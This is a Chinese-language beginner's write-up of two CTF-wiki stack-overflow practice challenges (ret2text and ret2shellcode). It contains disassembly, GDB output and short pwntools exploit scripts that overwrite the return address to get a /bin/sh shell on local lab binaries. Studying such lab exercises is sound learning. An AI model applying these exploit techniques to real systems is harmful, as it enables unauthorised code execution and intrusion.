基本ROP

前言

本来在校的时候就把王爽的汇编看完了,然后也看了一点二进制的知识,想着开始学pwn的,结果又是拖了好久,这不暑假才开始,在这里特别感谢一下D1no的Dusk师傅呜呜呜。

前置知识

在学习这个知识点之前要了解一些东西:

  • 16进制的运算(虽然说这个比较简单但也是头疼)
  • GDB的简单使用
  • RET所在位置(x64是在rbp上八个字节,x86是在ebp上面四个字节)

只需要知道这几个以及一些汇编基础就可以开始啦

(这里所有的溢出都不开启保护)

Ret2text

原理: ret2text 即控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这里是拿wiki的题目来做的

1
2
3
4
5
6
➜  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到有NX但是对栈溢出没什么限制然后我们反编译一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

这里可以看到V4的地址在rbp-0x64的位置,并且利用了gets这个函数,所以这个时候我们只需要找到存在一个后面的地方就可以进行攻击了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

然后可以看到地址0804863A中有一个/bin/sh来执行命令的后门,所以我们只需要让ret跳到这个位置执行命令即可

那么现在就是要计算一下gets到ebp的相对位置 通过GDB断点调试

1
2
3
4
5
6
7
8
9
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>

可以看到esp和ebp的地址以及s的地址 就可以计算出来ebp和s的相对位置 s 相对于 ebp 的偏移为 0x6c 然后再加上4字节跳到ret进行跳转即可 exp.py

1
2
3
4
5
6
from pwn import *
fi = process('./ret2text')
addr = 0x0804863A #要跳转的地址
playload = b'a'*0x6c+b'b'*0x04+p32(addr)
fi.sendline(playload)
fi.interacitve()

这样子就可以进行调用sh来获取flag了

ret2shellcode

这个漏洞的使用方法和RET2TEXT一模一样,区别就在于他没有内置的后门,需要我们自己去写一个shellcode来进行getshell

可以看一下这道题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

这里就做了两个关键的操作就是一个是gets一个是strncpy,他将输入的0x64个字符也就是100个字符复制到了buf2的地址上去,所以我们的思路是这样的: 首先我们还是要先计算gets到ebp的距离,其实就是v4的地址到ebp的距离,然后我们把ret覆盖掉后让他跳到buf2上去,因为我们可以把shellcode复制到buf2上去,然后进行劫持。

具体如下:(注意一下这里的.bss是有可执行权限的) 然后buf2的地址

1
2
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

可以看到是0x0804A080

/img/baseROP/1.png
然后s的位置需要GDB自己调试一下,不能直接用0x64+0x04来计算,需要看实际s相对于esp和ebp的距离再计算。这里我就不做示例了网上都有分析的

exp.py

1
2
3
4
5
6
7
from pwn import *
fi = process('./ret2shellcode')
addr = 0x0804A080
shellcode =  asm(shellcraft.sh())#制作shellcode
playload = shellcode.ljust(112,b'A') + p32(addr)
fi.sendline(playload)
fi.interactive()

这里的ljust方法就是将其补齐到112个字节,因为我们要到ret的地址上面所以需要补齐。

reference: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode 再次感谢Dusk师傅